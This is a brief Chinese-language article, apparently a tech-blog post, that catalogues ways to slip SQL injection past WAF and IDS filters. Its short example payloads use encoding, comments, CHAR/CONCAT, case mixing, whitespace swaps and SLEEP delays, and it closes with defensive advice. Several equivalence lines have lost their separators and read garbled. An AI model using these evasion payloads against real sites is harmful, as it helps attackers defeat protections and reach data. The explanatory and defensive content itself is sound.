绕过SQL注入监测的技术

绕过SQL注入监测的技术

SQL注入监测通常通过WAF(Web应用防火墙)、IDS/IPS或应用层检测机制实现:

1. 编码混淆技术

  • 十六进制编码

    SELECT * FROM users WHERE id=0x31 OR 1=1
    
  • URL编码

    id=1%20OR%201%3D1
    
  • Unicode编码

    id=1+OR+1=1 → id=1+%u004F%u0052+%u0031%u003D%u0031
    

2. 注释混淆

  • 内联注释(MySQL):

    SELECT/*!*/username/*!*/FROM/*!*/users
    
  • 多行注释

    SELECT/**/username/**/FROM/**/users
    

3. 字符串拼接

  • CONCAT函数

    SELECT * FROM users WHERE id=CONCAT('1',' OR ','1=1')
    
  • CHAR函数

    SELECT * FROM users WHERE id=CHAR(49)+CHAR(32)+CHAR(79)+CHAR(82)+CHAR(32)+CHAR(49)+CHAR(61)+CHAR(49)
    

4. 大小写变异

SeLeCt * FrOm UsErS WhErE Id=1 oR 1=1

5. 空白符替代

SELECT%09username%0DFROM%0Cusers

6. 等价替换

  • 运算符替换

    1 OR 1=11 || 1=11 XOR 0
    
  • 函数替换

    user()current_user()
    

7. 时间延迟注入

id=1 AND IF(1=1,SLEEP(5),0)

8. 分块传输编码

通过HTTP分块传输编码绕过内容检测。

防御建议

  1. 始终使用参数化查询/预处理语句
  2. 实施最小权限原则
  3. 输入验证和输出编码
  4. 使用WAF但不过度依赖
  5. 定期安全审计

你可能感兴趣的:(绕过SQL注入监测的技术)